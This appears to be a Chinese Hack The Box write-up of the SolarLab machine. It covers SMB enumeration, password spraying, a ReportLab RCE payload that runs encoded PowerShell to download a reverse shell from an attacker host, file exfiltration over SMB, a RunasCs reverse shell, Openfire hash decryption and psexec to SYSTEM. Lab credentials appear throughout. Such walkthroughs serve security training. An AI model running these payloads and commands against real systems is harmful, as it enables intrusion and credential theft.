当前位置: 首页 > ops >正文

HTB 靶机 SolarLab Write-up(Medium)

在这里插入图片描述

先进行端口探测,开放了 80、445、6791 等端口,其中 806791 都是 Web 服务,445 运行 smb 服务,是一台 Windows 服务器。其中 806791 分别重定向到 http://solarlab.htbhttp://report.solarlab.htb:6791,添加到 dns 解析。

sudo nmap 10.10.11.16 -p- --min-rate=5000 -A

先枚举 smb 服务,分别尝试空会话认证和匿名登录,其中匿名登录成功获取到了共享目录。

# 空会话认证
nxc smb 10.10.11.16 --shares
# 匿名登录
nxc smb 10.10.11.16 -u '.' -p '' --shares

共享目录中有一个 Documents 目录比较特别,将所有的可读文件都下载下来。

nxc smb 10.10.11.16 -u '.' -p '' -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10000000

打开下载的文件一一审查,发现其中一个 excel 表中存储有一些凭证信息,将这些凭证全都保存下来,分别存储为 users.txtpasswords.txt

Alexander.knight@gmail.com
KAlexander
Alexander.knight@gmail.com
blake.byte
AlexanderK
ClaudiaS
al;ksdhfewoiuh
dkjafblkjadsfgl
d398sadsknr390
ThisCanB3typedeasily1@
danenacia9234n
dadsfawe9dafkn

接着通过暴力破解 RID 枚举 Windows 用户,发现了 3 个本地用户,administratorblakeopenfire

nxc smb 10.10.11.16 -u '.' -p '' --rid-brute 10000

把这 3 个用户和上述密码进行喷洒,成功命中 blake:ThisCanB3typedeasily1@

nxc smb 10.10.11.16 -u local_users.txt -p passwords.txt --continue-on-success

这台 Windows 没开启 rdp 和 winrm 等服务,没办法直接登录,先看 Web 服务的情况。简单浏览一下,发现 80 端口的是一个静态网站,其中有提到三个成员,能看到他们的开发 BLAKE BYTE 也是机器用户。

打开 6791 端口的网站是一个登录页面,尝试弱口令和 sql 注入未果。

使用 users.txtpasswords.txt 中的凭证进行登录框爆破,都没有成功,但是发现了返回信息泄露出存在的用户名,从结果来看,ClaudiaSAlexanderK 是存在的。

这两个用户名很明显就是 firstname 和 lastname 的结合,推测还有一个用户 BlakeB

BlakeB 添加到字典,成功爆破得到一组凭证 BlakeB:ThisCanB3typedeasily1@,blake 的密码其实还是和前面一样,只是用户名有变化。

登录网站,是一个提交审批的系统,其中有 4 个选项。

简单浏览了下,这 4 个都差不多,点开后都是一个富文本编辑器,提交信息并上传图片后会生成一个 PDF。

将 PDF 文件下载到本地,审计该文件的元数据,显示是用 ReportLab 创建的。

搜索该组件,存在 RCE 漏洞,无论如何,尝试利用一下。

根据漏洞描述,我们可以在生成 PDF 前插入 html 代码,并在其中植入命令,在 PDF 被生成时执行。

构造一个反弹 shell 的 payload,其中执行的 powershell 命令用 Windows 的 utf-16le 格式进行 base64 编码。

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEANwAvAHIAZQB2AC4AcABzADEAJwApAA==') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit
</font></para>

其原本的命令如下,远程加载并执行 nishang 的反弹 shell 脚本。

IEX(New-Object Net.Webclient).DownloadString('http://10.10.14.17/rev.ps1')

将该 payload 植入富文本编辑器,提交输入。测试发现文本框有输入字符上限,选择在其他字段植入。

命令执行成功,获得一个 shell。查看用户权限属于 blake,且没有可用作提权的特权。

知道有 Web 服务,尝试寻找其配置文件是必须要做的事情。很容易就在项目目录中发现了一个 users.db 文件,将其传输到 kali 上。

# kali
impacket-smbserver -smb2support test .
# 目标Windows
Copy-Item -Path "C:\Users\blake\Documents\app\instance\users.db" -Destination "\\10.10.14.17\test\users.db"

users.db 中找到 3 组凭证,也就是审批系统的 3 个账号,将另外两个密码加入 passwords.txt

进行新的一次密码喷洒,成功命中 openfire:HotP!fireguard

nxc smb 10.10.11.16 -u local_users.txt -p passwords.txt --continue-on-success

既然有了 openfire 的密码,我们就先拿到它的权限再说。将 RunasCs 上传到目标机器上,输入 openfire 的凭证,反弹拿到一个新的 shell。

.\runascs.exe openfire HotP!fireguard powershell.exe -r 10.10.14.17:53 --bypass-uac

openfire 也没看到有能直接利用的特权,用户目录中也没找到有用的信息。接下来枚举端口监听情况,看到有 5985 的 winrm 服务开启,但之前 nmap 没扫描出来,可能是防火墙拦截的原因。此外有大量端口开启,都是来自同一个进程。

netstat -ano

查看该进程情况,属于用户 openfire,进程名叫 openfire-service.exe

tasklist /v /fi "PID eq 3156"

这个进程并不是 administrator 启动的,用户 openfire 的权限我们已经有了,似乎去利用它价值不大。无论如何,先搜索看看这是个什么东西。

一番搜索发现,openfire 原来是一个开源的服务器,是有 Web 界面的。

针对这个服务,有两点思路:

  1. 将端口转发到本地,访问该服务器,或许可以从 Web 界面中找到一些敏感信息。
  2. 直接找这个项目的源码,尝试在其配置文件中找到凭证。

第二种方式简单些,那就先尝试找源码,很轻松就在 Program Files 目录下找到了 openfire 的源码。

在项目中翻找一番找到了一个 openfire.script 文件,似乎是用来创建数据库的脚本,里面写了 admin 用户的密码,不过是加密的。

搜索有没有解密的办法,很顺利就在 github 上找到了一个项目,需要提供密码哈希和密钥,正好这个脚本文件中都写着有。

输入 hash 和密钥,成功解密出密码 ThisPasswordShouldDo!@

java -jar OpenFire-1.0-SNAPSHOT-jar-with-dependencies.jar

试试这个密码是否是 administrator 的密码,尝试 psexec 登录目标主机。结果很显然,成功获得 system 权限。

impacket-psexec administrator:'ThisPasswordShouldDo!@'@10.10.11.16


http://www.xdnf.cn/news/11975.html

相关文章:

  • Nginx 安全设置问题
  • 计算机I/O系统:数据交互的核心桥梁
  • 论文导读 | 子图匹配最新进展
  • Office安装
  • C#编程过程中变量用中文有啥影响?
  • 【Python零基础入门系列】第7篇:Python中的错误与异常处理
  • 每日八股文6.4
  • C++ 变量二
  • geoai库的训练数据查看与处理
  • 核心机制:拥塞控制
  • 使用pgAdmin导入sql文件
  • 《波段操盘实战技法》速读笔记
  • 数据库-数据查询-in和Not in
  • Linux容器篇、第一章_01Linux系统下 Docker 安装与镜像部署全攻略
  • StringRedisTemplete使用
  • 智能合约安全漏洞解析:从 Reentrancy 到 Integer Overflow
  • 算法训练第八天
  • 电气架构/域控制器/中央计算平台技术论坛
  • 考研系列—操作系统:冲刺笔记(4-5章)
  • 自动化测试工具playwright中文文档-------18.模拟
  • 宝塔使用docker创建n8n
  • 每日一令:Linux 极简通关指南 - 汇总
  • 树莓派超全系列教程文档--(54)如何使用rsync在计算机之间同步文件夹
  • MCPO:使用MCP工具为Open-WebUI/Ollama助力
  • 渗透测试服务如何全方位评估企业安全状况并揭示潜在缺陷?
  • SpringBoot(七) --- Redis基础
  • 在Windows11上安装 Ubuntu WSL
  • 大语言模型备案与深度合成算法备案的区别与联系
  • Rebel系列数据记录仪:智能车载数据采集专家
  • kafka命令